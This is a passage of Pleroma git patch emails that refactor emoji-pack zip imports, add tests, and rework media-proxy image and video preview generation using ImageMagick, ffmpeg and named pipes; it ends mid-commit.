14ec12ac956ffa9964254cb3be390c9903103da3 Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov Date: Mon, 24 Aug 2020 09:47:25 +0300 Subject: added tests --- lib/pleroma/emoji.ex | 3 ++ lib/pleroma/emoji/pack.ex | 129 +++++++++++++++++++++++----------------------- lib/pleroma/utils.ex | 16 +++--- test/emoji/pack_test.exs | 93 +++++++++++++++++++++++++++++++++ test/fixtures/empty.zip | Bin 0 -> 22 bytes test/utils_test.exs | 15 ++++++ 6 files changed, 185 insertions(+), 71 deletions(-) create mode 100644 test/emoji/pack_test.exs create mode 100644 test/fixtures/empty.zip create mode 100644 test/utils_test.exs diff --git a/lib/pleroma/emoji.ex b/lib/pleroma/emoji.ex index f6016d73f..04936155b 100644 --- a/lib/pleroma/emoji.ex +++ b/lib/pleroma/emoji.ex @@ -56,6 +56,9 @@ def get(name) do end end + @spec exist?(String.t()) :: boolean() + def exist?(name), do: not is_nil(get(name)) + @doc "Returns all the emojos!!" @spec get_all() :: list({String.t(), String.t(), String.t()}) def get_all do diff --git a/lib/pleroma/emoji/pack.ex b/lib/pleroma/emoji/pack.ex index 03aed33bb..dd79bdfab 100644 --- a/lib/pleroma/emoji/pack.ex +++ b/lib/pleroma/emoji/pack.ex @@ -65,71 +65,73 @@ def delete(name) do end end + @spec unpack_zip_emojies(list(tuple())) :: list(map()) + defp unpack_zip_emojies(zip_files) do + Enum.reduce(zip_files, [], fn + {_, path, s, _, _, _}, acc when elem(s, 2) == :regular -> + with( + filename <- Path.basename(path), + shortcode <- Path.basename(filename, Path.extname(filename)), + false <- Emoji.exist?(shortcode) + ) do + acc ++ [%{path: path, filename: path, shortcode: shortcode}] + else + _ -> acc + end + + _, acc -> + acc + end) + end + @spec add_file(String.t(), String.t(), Path.t(), Plug.Upload.t()) :: {:ok, t()} | {:error, File.posix() | atom()} def add_file(%Pack{} = pack, _, _, %Plug.Upload{content_type: "application/zip"} = file) do - with {:ok, zip_items} <- :zip.table(to_charlist(file.path)) do - emojies = - for {_, path, s, _, _, _} <- zip_items, elem(s, 2) == :regular do - filename = Path.basename(path) - shortcode = Path.basename(filename, Path.extname(filename)) - - %{ - path: path, - filename: path, - shortcode: shortcode, - exist: not is_nil(Pleroma.Emoji.get(shortcode)) - } - end - |> Enum.group_by(& &1[:exist]) - - case Map.get(emojies, false, []) do - [_ | _] = new_emojies -> - {:ok, tmp_dir} = Pleroma.Utils.tmp_dir("emoji") - - try do - {:ok, _emoji_files} = - :zip.unzip( - to_charlist(file.path), - [ - {:file_list, Enum.map(new_emojies, & &1[:path])}, - {:cwd, tmp_dir} - ] + with {:ok, zip_files} <- :zip.table(to_charlist(file.path)), + [_ | _] = emojies <- unpack_zip_emojies(zip_files), + {:ok, tmp_dir} <- Pleroma.Utils.tmp_dir("emoji") do + try do + {:ok, _emoji_files} = + :zip.unzip( + to_charlist(file.path), + [{:file_list, Enum.map(emojies, & &1[:path])}, {:cwd, tmp_dir}] + ) + + {_, updated_pack} = + Enum.map_reduce(emojies, pack, fn item, emoji_pack -> + emoji_file = %Plug.Upload{ + filename: item[:filename], + path: Path.join(tmp_dir, item[:path]) + } + + {:ok, updated_pack} = + do_add_file( + emoji_pack, + item[:shortcode], + to_string(item[:filename]), + emoji_file ) - {_, updated_pack} = - Enum.map_reduce(new_emojies, pack, fn item, emoji_pack -> - emoji_file = %Plug.Upload{ - filename: item[:filename], - path: Path.join(tmp_dir, item[:path]) - } - - {:ok, updated_pack} = - do_add_file( - emoji_pack, - item[:shortcode], - to_string(item[:filename]), - emoji_file - ) - - {item, updated_pack} - end) - - Emoji.reload() - - {:ok, updated_pack} - after - File.rm_rf(tmp_dir) - end + {item, updated_pack} + end) + + Emoji.reload() - _ -> - {:ok, pack} + {:ok, updated_pack} + after + File.rm_rf(tmp_dir) end + else + {:error, _} = error -> + error + + _ -> + {:ok, pack} end end - def add_file(%Pack{} = pack, shortcode, filename, file) do + def add_file(%Pack{} = pack, shortcode, filename, %Plug.Upload{} = file) do with :ok <- validate_not_empty([shortcode, filename]), :ok <- validate_emoji_not_exists(shortcode), {:ok, updated_pack} <- do_add_file(pack, shortcode, filename, file) do @@ -139,12 +141,10 @@ def add_file(%Pack{} = pack, shortcode, filename, file) do end defp do_add_file(pack, shortcode, filename, file) do - with :ok <- save_file(file, pack, filename), - {:ok, updated_pack} <- - pack - |> put_emoji(shortcode, filename) - |> save_pack() do - {:ok, updated_pack} + with :ok <- save_file(file, pack, filename) do + pack + |> put_emoji(shortcode, filename) + |> save_pack() end end @@ -312,9 +312,10 @@ defp validate_emoji_not_exists(shortcode, force \\ false) defp validate_emoji_not_exists(_shortcode, true), do: :ok defp validate_emoji_not_exists(shortcode, _) do - case Emoji.get(shortcode) do - nil -> :ok - _ -> {:error, :already_exists} + if Emoji.exist?(shortcode) do + {:error, :already_exists} + else + :ok end end @@ -466,7 +467,7 @@ defp save_file(%Plug.Upload{path: upload_path}, pack, filename) do defp put_emoji(pack, shortcode, filename) do files = Map.put(pack.files, shortcode, filename) - %{pack | files: files} + %{pack | files: files, files_count: length(Map.keys(files))} end defp delete_emoji(pack, shortcode) do diff --git a/lib/pleroma/utils.ex b/lib/pleroma/utils.ex index fcb8c64c7..e95766223 100644 --- a/lib/pleroma/utils.ex +++ b/lib/pleroma/utils.ex @@ -28,14 +28,16 @@ def command_available?(command) do @doc "creates the uniq temporary directory" @spec tmp_dir(String.t()) :: {:ok, String.t()} | {:error, :file.posix()} def tmp_dir(prefix \\ "") do - sub_dir = [ - prefix, - Timex.to_unix(Timex.now()), - :os.getpid(), - String.downcase(Integer.to_string(:rand.uniform(0x100000000), 36)) - ] + sub_dir = + [ + prefix, + Timex.to_unix(Timex.now()), + :os.getpid(), + String.downcase(Integer.to_string(:rand.uniform(0x100000000), 36)) + ] + |> Enum.join("-") - tmp_dir = Path.join(System.tmp_dir!(), Enum.join(sub_dir, "-")) + tmp_dir = Path.join(System.tmp_dir!(), sub_dir) case File.mkdir(tmp_dir) do :ok -> {:ok, tmp_dir} diff --git a/test/emoji/pack_test.exs b/test/emoji/pack_test.exs new file mode 100644 index 000000000..3ec991f0f --- /dev/null +++ b/test/emoji/pack_test.exs @@ -0,0 +1,93 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emoji.PackTest do + use ExUnit.Case, async: true + alias Pleroma.Emoji.Pack + + @emoji_path Path.join( + Pleroma.Config.get!([:instance, :static_dir]), + "emoji" + ) + + setup do + pack_path = Path.join(@emoji_path, "dump_pack") + File.mkdir(pack_path) + + File.write!(Path.join(pack_path, "pack.json"), """ + { + "files": { }, + "pack": { + "description": "Dump pack", "homepage": "https://pleroma.social", + "license": "Test license", "share-files": true + }} + """) + + {:ok, pack} = Pleroma.Emoji.Pack.load_pack("dump_pack") + + on_exit(fn -> + File.rm_rf!(pack_path) + end) + + {:ok, pack: pack} + end + + describe "add_file/4" do + test "add emojies from zip file", %{pack: pack} do + file = %Plug.Upload{ + content_type: "application/zip", + filename: "finland-emojis.zip", + path: Path.absname("test/fixtures/finland-emojis.zip") + } + + {:ok, updated_pack} = Pack.add_file(pack, nil, nil, file) + + assert updated_pack.files == %{ + "a_trusted_friend-128" => "128px/a_trusted_friend-128.png", + "auroraborealis" => "auroraborealis.png", + "baby_in_a_box" => "1000px/baby_in_a_box.png", + "bear" => "1000px/bear.png", + "bear-128" => "128px/bear-128.png" + } + + assert updated_pack.files_count == 5 + end + end + + test "returns error when zip file is bad", %{pack: pack} do + file = %Plug.Upload{ + content_type: "application/zip", + filename: "finland-emojis.zip", + path: Path.absname("test/instance_static/emoji/test_pack/blank.png") + } + + assert Pack.add_file(pack, nil, nil, file) == {:error, :einval} + end + + test "returns pack when zip file is empty", %{pack: pack} do + file = %Plug.Upload{ + content_type: "application/zip", + filename: "finland-emojis.zip", + path: Path.absname("test/fixtures/empty.zip") + } + + {:ok, updated_pack} = Pack.add_file(pack, nil, nil, file) + assert updated_pack == pack + end + + test "add emoji file", %{pack: pack} do + file = %Plug.Upload{ + filename: "blank.png", + path: "#{@emoji_path}/test_pack/blank.png" + } + + {:ok, updated_pack} = Pack.add_file(pack, "test_blank", "test_blank.png", file) + + assert updated_pack.files == %{ + "test_blank" => "test_blank.png" + } + + assert updated_pack.files_count == 1 + end +end diff --git a/test/fixtures/empty.zip b/test/fixtures/empty.zip new file mode 100644 index 000000000..15cb0ecb3 Binary files /dev/null and b/test/fixtures/empty.zip differ diff --git a/test/utils_test.exs b/test/utils_test.exs new file mode 100644 index 000000000..3a730d545 --- /dev/null +++ b/test/utils_test.exs @@ -0,0 +1,15 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.UtilsTest do + use ExUnit.Case, async: true + + describe "tmp_dir/1" do + test "returns unique temporary directory" do + {:ok, path} = Pleroma.Utils.tmp_dir("emoji") + assert path =~ ~r/\/tmp\/emoji-(.*)-#{:os.getpid()}-(.*)/ + File.rm_rf(path) + end + end +end -- cgit v1.2.3 From b267b751d451508bd655142a4711776ea15484f4 Mon Sep 17 00:00:00 2001 From: Maksim Date: Tue, 25 Aug 2020 05:38:25 +0000 Subject: Apply 1 suggestion(s) to 1 file(s) --- lib/pleroma/emoji/pack.ex | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/pleroma/emoji/pack.ex b/lib/pleroma/emoji/pack.ex index dd79bdfab..930bbb422 100644 --- a/lib/pleroma/emoji/pack.ex +++ b/lib/pleroma/emoji/pack.ex @@ -74,7 +74,7 @@ defp unpack_zip_emojies(zip_files) do shortcode <- Path.basename(filename, Path.extname(filename)), false <- Emoji.exist?(shortcode) ) do - acc ++ [%{path: path, filename: path, shortcode: shortcode}] + [%{path: path, filename: path, shortcode: shortcode} | acc] else _ -> acc end -- cgit v1.2.3 From 899ea2da3e77ca64598e45eba986d5315b523120 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 25 Aug 2020 17:18:22 -0500 Subject: Switch to imagemagick, only support videos --- config/config.exs | 2 +- config/description.exs | 4 ++-- lib/pleroma/helpers/media_helper.ex | 13 ++++++------- lib/pleroma/web/media_proxy/media_proxy_controller.ex | 15 +++++---------- 4 files changed, 14 insertions(+), 20 deletions(-) diff --git a/config/config.exs b/config/config.exs index e1558e29e..972b96d2d 100644 --- a/config/config.exs +++ b/config/config.exs @@ -444,7 +444,7 @@ enabled: false, thumbnail_max_width: 600, thumbnail_max_height: 600, - quality: 2, + image_quality: 85, proxy_opts: [ head_request_max_read_duration: 5_000 ] diff --git a/config/description.exs b/config/description.exs index 0082cc84f..60f76be45 100644 --- a/config/description.exs +++ b/config/description.exs @@ -1975,9 +1975,9 @@ description: "Max height of preview thumbnail." }, %{ - key: :quality, + key: :image_quality, type: :integer, - description: "Quality of the output. Ranges from 1 (max quality) to 31 (lowest quality)." + description: "Quality of the output. Ranges from 0 (min quality) to 100 (max quality)." }, %{ key: :proxy_opts, diff --git a/lib/pleroma/helpers/media_helper.ex b/lib/pleroma/helpers/media_helper.ex index 89dd4204b..07e6dba5e 100644 --- a/lib/pleroma/helpers/media_helper.ex +++ b/lib/pleroma/helpers/media_helper.ex @@ -7,18 +7,17 @@ defmodule Pleroma.Helpers.MediaHelper do Handles common media-related operations. """ - def ffmpeg_resize(uri_or_path, %{max_width: max_width, max_height: max_height} = options) do - quality = options[:quality] || 1 + def image_resize(url, %{max_width: max_width, max_height: max_height} = options) do + quality = options[:quality] || 85 cmd = ~s""" - ffmpeg -i #{uri_or_path} -f lavfi -i color=c=white \ - -filter_complex "[0:v] scale='min(#{max_width},iw)':'min(#{max_height},ih)': \ - force_original_aspect_ratio=decrease [scaled]; \ - [1][scaled] scale2ref [bg][img]; [bg] setsar=1 [bg]; [bg][img] overlay=shortest=1" \ - -loglevel quiet -f image2 -vcodec mjpeg -frames:v 1 -q:v #{quality} pipe:1 + convert - -resize '#{max_width}x#{max_height}>' -quality #{quality} - """ pid = Port.open({:spawn, cmd}, [:use_stdio, :in, :stream, :exit_status, :binary]) + {:ok, env} = url |> Pleroma.Web.MediaProxy.url() |> Pleroma.HTTP.get() + image = env.body + Port.command(pid, image) loop_recv(pid) end diff --git a/lib/pleroma/web/media_proxy/media_proxy_controller.ex b/lib/pleroma/web/media_proxy/media_proxy_controller.ex index 1c51aa5e3..b925973ba 100644 --- a/lib/pleroma/web/media_proxy/media_proxy_controller.ex +++ b/lib/pleroma/web/media_proxy/media_proxy_controller.ex @@ -66,25 +66,20 @@ defp handle_preview(conn, url) do end defp handle_preview("image/" <> _ = _content_type, conn, url) do - handle_image_or_video_preview(conn, url) - end - - defp handle_preview("video/" <> _ = _content_type, conn, url) do - handle_image_or_video_preview(conn, url) + handle_image_preview(conn, url) end defp handle_preview(content_type, conn, _url) do send_resp(conn, :unprocessable_entity, "Unsupported content type: #{content_type}.") end - defp handle_image_or_video_preview(%{params: params} = conn, url) do - quality = Config.get!([:media_preview_proxy, :quality]) + defp handle_image_preview(%{params: params} = conn, url) do + quality = Config.get!([:media_preview_proxy, :image_quality]) with {thumbnail_max_width, thumbnail_max_height} <- thumbnail_max_dimensions(params), - media_proxy_url <- MediaProxy.url(url), {:ok, thumbnail_binary} <- - MediaHelper.ffmpeg_resize( - media_proxy_url, + MediaHelper.image_resize( + url, %{max_width: thumbnail_max_width, max_height: thumbnail_max_height, quality: quality} ) do conn -- cgit v1.2.3 From ddbddc08fc9fe5458edc983c81a77671da34a71f Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 25 Aug 2020 17:31:55 -0500 Subject: Redirects for videos right now --- lib/pleroma/web/media_proxy/media_proxy_controller.ex | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/lib/pleroma/web/media_proxy/media_proxy_controller.ex b/lib/pleroma/web/media_proxy/media_proxy_controller.ex index b925973ba..6abbf9e23 100644 --- a/lib/pleroma/web/media_proxy/media_proxy_controller.ex +++ b/lib/pleroma/web/media_proxy/media_proxy_controller.ex @@ -69,6 +69,12 @@ defp handle_preview("image/" <> _ = _content_type, conn, url) do handle_image_preview(conn, url) end + defp handle_preview("video/" <> _ = _content_type, conn, url) do + mediaproxy_url = url |> MediaProxy.url() + + redirect(conn, external: mediaproxy_url) + end + defp handle_preview(content_type, conn, _url) do send_resp(conn, :unprocessable_entity, "Unsupported content type: #{content_type}.") end -- cgit v1.2.3 From afa03ca8e2cffc85628beb5f9a70401d984ab216 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 25 Aug 2020 17:36:53 -0500 Subject: Allow both stdin and stdout --- lib/pleroma/helpers/media_helper.ex | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/pleroma/helpers/media_helper.ex b/lib/pleroma/helpers/media_helper.ex index 07e6dba5e..5fe135584 100644 --- a/lib/pleroma/helpers/media_helper.ex +++ b/lib/pleroma/helpers/media_helper.ex @@ -14,7 +14,7 @@ def image_resize(url, %{max_width: max_width, max_height: max_height} = options) convert - -resize '#{max_width}x#{max_height}>' -quality #{quality} - """ - pid = Port.open({:spawn, cmd}, [:use_stdio, :in, :stream, :exit_status, :binary]) + pid = Port.open({:spawn, cmd}, [:use_stdio, :stream, :exit_status, :binary]) {:ok, env} = url |> Pleroma.Web.MediaProxy.url() |> Pleroma.HTTP.get() image = env.body Port.command(pid, image) -- cgit v1.2.3 From a136e7e9b590e3f23e472bf27c7c6a81d8d7792b Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 25 Aug 2020 18:10:27 -0500 Subject: Try specifying fd0, force jpg out --- lib/pleroma/helpers/media_helper.ex | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/pleroma/helpers/media_helper.ex b/lib/pleroma/helpers/media_helper.ex index 5fe135584..01f42d9b0 100644 --- a/lib/pleroma/helpers/media_helper.ex +++ b/lib/pleroma/helpers/media_helper.ex @@ -11,7 +11,7 @@ def image_resize(url, %{max_width: max_width, max_height: max_height} = options) quality = options[:quality] || 85 cmd = ~s""" - convert - -resize '#{max_width}x#{max_height}>' -quality #{quality} - + convert fd:0 -resize '#{max_width}x#{max_height}>' -quality #{quality} jpg:- """ pid = Port.open({:spawn, cmd}, [:use_stdio, :stream, :exit_status, :binary]) -- cgit v1.2.3 From bc94f0c6da2405e2f1cdae89696970728b6e987f Mon Sep 17 00:00:00 2001 From: href Date: Wed, 26 Aug 2020 16:12:34 +0200 Subject: Use mkfifo to feed ImageMagick --- lib/pleroma/helpers/media_helper.ex | 70 +++++++++++++++++++++++++++++++------ 1 file changed, 60 insertions(+), 10 deletions(-) diff --git a/lib/pleroma/helpers/media_helper.ex b/lib/pleroma/helpers/media_helper.ex index 01f42d9b0..a43352ae0 100644 --- a/lib/pleroma/helpers/media_helper.ex +++ b/lib/pleroma/helpers/media_helper.ex @@ -7,18 +7,66 @@ defmodule Pleroma.Helpers.MediaHelper do Handles common media-related operations. """ - def image_resize(url, %{max_width: max_width, max_height: max_height} = options) do + @tmp_base "/tmp/pleroma-media_preview-pipe" + + def image_resize(url, options) do + with executable when is_binary(executable) <- System.find_executable("convert"), + {:ok, args} <- prepare_resize_args(options), + url = Pleroma.Web.MediaProxy.url(url), + {:ok, env} <- Pleroma.HTTP.get(url), + {:ok, fifo_path} <- mkfifo() + do + run_fifo(fifo_path, env, executable, args) + else + nil -> {:error, {:convert, :command_not_found}} + {:error, _} = error -> error + end + end + + defp prepare_resize_args(%{max_width: max_width, max_height: max_height} = options) do quality = options[:quality] || 85 + resize = Enum.join([max_width, "x", max_height, ">"]) + args = [ + "-auto-orient", # Support for EXIF rotation + "-resize", resize, + "-quality", to_string(quality) + ] + {:ok, args} + end - cmd = ~s""" - convert fd:0 -resize '#{max_width}x#{max_height}>' -quality #{quality} jpg:- - """ + defp prepare_resize_args(_), do: {:error, :missing_options} - pid = Port.open({:spawn, cmd}, [:use_stdio, :stream, :exit_status, :binary]) - {:ok, env} = url |> Pleroma.Web.MediaProxy.url() |> Pleroma.HTTP.get() - image = env.body - Port.command(pid, image) + defp run_fifo(fifo_path, env, executable, args) do + args = List.flatten([fifo_path, args, "jpg:fd:1"]) + pid = Port.open({:spawn_executable, executable}, [:use_stdio, :stream, :exit_status, :binary, args: args]) + fifo = Port.open(to_charlist(fifo_path), [:eof, :binary, :stream, :out]) + true = Port.command(fifo, env.body) + :erlang.port_close(fifo) loop_recv(pid) + after + File.rm(fifo_path) + end + + defp mkfifo() do + path = "#{@tmp_base}#{to_charlist(:erlang.phash2(self()))}" + case System.cmd("mkfifo", [path]) do + {_, 0} -> + spawn(fifo_guard(path)) + {:ok, path} + {_, err} -> + {:error, {:fifo_failed, err}} + end + end + + defp fifo_guard(path) do + pid = self() + fn() -> + ref = Process.monitor(pid) + receive do + {:DOWN, ^ref, :process, ^pid, _} -> + File.rm(path) + end + end end defp loop_recv(pid) do @@ -29,12 +77,14 @@ defp loop_recv(pid, acc) do receive do {^pid, {:data, data}} -> loop_recv(pid, acc <> data) - {^pid, {:exit_status, 0}} -> {:ok, acc} - {^pid, {:exit_status, status}} -> {:error, status} + after + 5000 -> + :erlang.port_close(pid) + {:error, :timeout} end end end -- cgit v1.2.3 From d4d1192341868d978e19777c17be85e331367264 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Wed, 26 Aug 2020 14:28:25 +0000 Subject: Remove auto-orient; don't use it on previews, only originals --- lib/pleroma/helpers/media_helper.ex | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/pleroma/helpers/media_helper.ex b/lib/pleroma/helpers/media_helper.ex index a43352ae0..db0c4b0cf 100644 --- a/lib/pleroma/helpers/media_helper.ex +++ b/lib/pleroma/helpers/media_helper.ex @@ -27,7 +27,6 @@ defp prepare_resize_args(%{max_width: max_width, max_height: max_height} = optio quality = options[:quality] || 85 resize = Enum.join([max_width, "x", max_height, ">"]) args = [ - "-auto-orient", # Support for EXIF rotation "-resize", resize, "-quality", to_string(quality) ] -- cgit v1.2.3 From 2c95533ead56217ec27e09e0ead0050e110dff22 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Wed, 26 Aug 2020 15:37:45 +0000 Subject: Change method of convert using stdout, make progressive jpegs --- lib/pleroma/helpers/media_helper.ex | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/pleroma/helpers/media_helper.ex b/lib/pleroma/helpers/media_helper.ex index db0c4b0cf..3256802a0 100644 --- a/lib/pleroma/helpers/media_helper.ex +++ b/lib/pleroma/helpers/media_helper.ex @@ -27,6 +27,7 @@ defp prepare_resize_args(%{max_width: max_width, max_height: max_height} = optio quality = options[:quality] || 85 resize = Enum.join([max_width, "x", max_height, ">"]) args = [ + "-interlace", "Plane", "-resize", resize, "-quality", to_string(quality) ] @@ -36,7 +37,7 @@ defp prepare_resize_args(%{max_width: max_width, max_height: max_height} = optio defp prepare_resize_args(_), do: {:error, :missing_options} defp run_fifo(fifo_path, env, executable, args) do - args = List.flatten([fifo_path, args, "jpg:fd:1"]) + args = List.flatten([fifo_path, args, "jpg:-"]) pid = Port.open({:spawn_executable, executable}, [:use_stdio, :stream, :exit_status, :binary, args: args]) fifo = Port.open(to_charlist(fifo_path), [:eof, :binary, :stream, :out]) true = Port.command(fifo, env.body) -- cgit v1.2.3 From eead2276e79f29c4d0e10d23eb7524a9ee5f5045 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Wed, 26 Aug 2020 16:18:11 -0500 Subject: Ensure GIFs are redirected to the original or they become static. --- lib/pleroma/web/media_proxy/media_proxy_controller.ex | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/lib/pleroma/web/media_proxy/media_proxy_controller.ex b/lib/pleroma/web/media_proxy/media_proxy_controller.ex index 6abbf9e23..d465ce8d1 100644 --- a/lib/pleroma/web/media_proxy/media_proxy_controller.ex +++ b/lib/pleroma/web/media_proxy/media_proxy_controller.ex @@ -65,6 +65,12 @@ defp handle_preview(conn, url) do end end + defp handle_preview("image/gif" = _content_type, conn, url) do + mediaproxy_url = url |> MediaProxy.url() + + redirect(conn, external: mediaproxy_url) + end + defp handle_preview("image/" <> _ = _content_type, conn, url) do handle_image_preview(conn, url) end -- cgit v1.2.3 From 9567b96c7927be433eac4f023051adc5cbd6610c Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Wed, 26 Aug 2020 16:40:13 -0500 Subject: Rename to make it obvious this is for images not videos --- lib/pleroma/helpers/media_helper.ex | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/pleroma/helpers/media_helper.ex b/lib/pleroma/helpers/media_helper.ex index 3256802a0..fe11dd460 100644 --- a/lib/pleroma/helpers/media_helper.ex +++ b/lib/pleroma/helpers/media_helper.ex @@ -11,7 +11,7 @@ defmodule Pleroma.Helpers.MediaHelper do def image_resize(url, options) do with executable when is_binary(executable) <- System.find_executable("convert"), - {:ok, args} <- prepare_resize_args(options), + {:ok, args} <- prepare_image_resize_args(options), url = Pleroma.Web.MediaProxy.url(url), {:ok, env} <- Pleroma.HTTP.get(url), {:ok, fifo_path} <- mkfifo() @@ -23,7 +23,7 @@ def image_resize(url, options) do end end - defp prepare_resize_args(%{max_width: max_width, max_height: max_height} = options) do + defp prepare_image_resize_args(%{max_width: max_width, max_height: max_height} = options) do quality = options[:quality] || 85 resize = Enum.join([max_width, "x", max_height, ">"]) args = [ @@ -34,7 +34,7 @@ defp prepare_resize_args(%{max_width: max_width, max_height: max_height} = optio {:ok, args} end - defp prepare_resize_args(_), do: {:error, :missing_options} + defp prepare_image_resize_args(_), do: {:error, :missing_options} defp run_fifo(fifo_path, env, executable, args) do args = List.flatten([fifo_path, args, "jpg:-"]) -- cgit v1.2.3 From 697bea04731614bcd2e1e10f0564863dc49a49fa Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Wed, 26 Aug 2020 17:43:25 -0500 Subject: Move arg for images to the list so we can reuse these fifo functions for videos --- lib/pleroma/helpers/media_helper.ex | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/pleroma/helpers/media_helper.ex b/lib/pleroma/helpers/media_helper.ex index fe11dd460..0299b16ae 100644 --- a/lib/pleroma/helpers/media_helper.ex +++ b/lib/pleroma/helpers/media_helper.ex @@ -29,7 +29,8 @@ defp prepare_image_resize_args(%{max_width: max_width, max_height: max_height} = args = [ "-interlace", "Plane", "-resize", resize, - "-quality", to_string(quality) + "-quality", to_string(quality), + "jpg:-" ] {:ok, args} end @@ -37,7 +38,7 @@ defp prepare_image_resize_args(%{max_width: max_width, max_height: max_height} = defp prepare_image_resize_args(_), do: {:error, :missing_options} defp run_fifo(fifo_path, env, executable, args) do - args = List.flatten([fifo_path, args, "jpg:-"]) + args = List.flatten([fifo_path, args]) pid = Port.open({:spawn_executable, executable}, [:use_stdio, :stream, :exit_status, :binary, args: args]) fifo = Port.open(to_charlist(fifo_path), [:eof, :binary, :stream, :out]) true = Port.command(fifo, env.body) -- cgit v1.2.3 From 157ecf402230c0b786f5765dd8b709d45c45974a Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Thu, 27 Aug 2020 11:46:56 -0500 Subject: Follow redirects. I think we should be using some global adapter options here, though. --- lib/pleroma/web/media_proxy/media_proxy_controller.ex | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/pleroma/web/media_proxy/media_proxy_controller.ex b/lib/pleroma/web/media_proxy/media_proxy_controller.ex index d465ce8d1..736b7db56 100644 --- a/lib/pleroma/web/media_proxy/media_proxy_controller.ex +++ b/lib/pleroma/web/media_proxy/media_proxy_controller.ex @@ -50,7 +50,9 @@ def preview(conn, %{"sig" => sig64, "url" => url64}) do defp handle_preview(conn, url) do with {:ok, %{status: status} = head_response} when status in 200..299 <- - Tesla.head(url, opts: [adapter: [timeout: preview_head_request_timeout()]]) do + Tesla.head(url, + opts: [adapter: [timeout: preview_head_request_timeout(), follow_redirect: true]] + ) do content_type = Tesla.get_header(head_response, "content-type") handle_preview(content_type, conn, url) else -- cgit v1.2.3 From ef9d12fcc500d7429bee0d6ccffe3596434aee52 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Thu, 27 Aug 2020 12:31:55 -0500 Subject: Attempt at supporting video thumbnails via ffmpeg --- lib/pleroma/helpers/media_helper.ex | 19 +++++++++++++++++++ lib/pleroma/web/media_proxy/media_proxy_controller.ex | 17 ++++++++++++++--- 2 files changed, 33 insertions(+), 3 deletions(-) diff --git a/lib/pleroma/helpers/media_helper.ex b/lib/pleroma/helpers/media_helper.ex index 0299b16ae..7e1af8bac 100644 --- a/lib/pleroma/helpers/media_helper.ex +++ b/lib/pleroma/helpers/media_helper.ex @@ -37,6 +37,25 @@ defp prepare_image_resize_args(%{max_width: max_width, max_height: max_height} = defp prepare_image_resize_args(_), do: {:error, :missing_options} + def video_framegrab(url) do + with executable when is_binary(executable) <- System.find_executable("ffmpeg"), + args = [ + "-i", "-", + "-vframes", "1", + "-f", "mjpeg", + "-loglevel", "error", + "-" + ], + url = Pleroma.Web.MediaProxy.url(url), + {:ok, env} <- Pleroma.HTTP.get(url), + {:ok, fifo_path} <- mkfifo() do + run_fifo(fifo_path, env, executable, args) + else + nil -> {:error, {:ffmpeg, :command_not_found}} + {:error, _} = error -> error + end + end + defp run_fifo(fifo_path, env, executable, args) do args = List.flatten([fifo_path, args]) pid = Port.open({:spawn_executable, executable}, [:use_stdio, :stream, :exit_status, :binary, args: args]) diff --git a/lib/pleroma/web/media_proxy/media_proxy_controller.ex b/lib/pleroma/web/media_proxy/media_proxy_controller.ex index 736b7db56..7ac1a97e2 100644 --- a/lib/pleroma/web/media_proxy/media_proxy_controller.ex +++ b/lib/pleroma/web/media_proxy/media_proxy_controller.ex @@ -78,9 +78,7 @@ defp handle_preview("image/" <> _ = _content_type, conn, url) do end defp handle_preview("video/" <> _ = _content_type, conn, url) do - mediaproxy_url = url |> MediaProxy.url() - - redirect(conn, external: mediaproxy_url) + handle_video_preview(conn, url) end defp handle_preview(content_type, conn, _url) do @@ -106,6 +104,19 @@ defp handle_image_preview(%{params: params} = conn, url) do end end + defp handle_video_preview(conn, url) do + with {:ok, thumbnail_binary} <- + MediaHelper.video_framegrab(url) do + conn + |> put_resp_header("content-type", "image/jpeg") + |> put_resp_header("content-disposition", "inline; filename=\"preview.jpg\"") + |> send_resp(200, thumbnail_binary) + else + _ -> + send_resp(conn, :failed_dependency, "Can't handle preview.") + end + end + defp thumbnail_max_dimensions(params) do config = Config.get([:media_preview_proxy], []) -- cgit v1.2.3 From f1218a2b4e16178c8c1285157f7cd995dc950e3e Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Thu, 27 Aug 2020 12:47:29 -0500 Subject: ffmpeg needs input from fifo path, not stdin --- lib/pleroma/helpers/media_helper.ex | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) diff --git a/lib/pleroma/helpers/media_helper.ex b/lib/pleroma/helpers/media_helper.ex index 7e1af8bac..7c2bfbc53 100644 --- a/lib/pleroma/helpers/media_helper.ex +++ b/lib/pleroma/helpers/media_helper.ex @@ -39,16 +39,16 @@ defp prepare_image_resize_args(_), do: {:error, :missing_options} def video_framegrab(url) do with executable when is_binary(executable) <- System.find_executable("ffmpeg"), + url = Pleroma.Web.MediaProxy.url(url), + {:ok, env} <- Pleroma.HTTP.get(url), + {:ok, fifo_path} <- mkfifo(), args = [ - "-i", "-", + "-i", fifo_path, "-vframes", "1", "-f", "mjpeg", "-loglevel", "error", "-" - ], - url = Pleroma.Web.MediaProxy.url(url), - {:ok, env} <- Pleroma.HTTP.get(url), - {:ok, 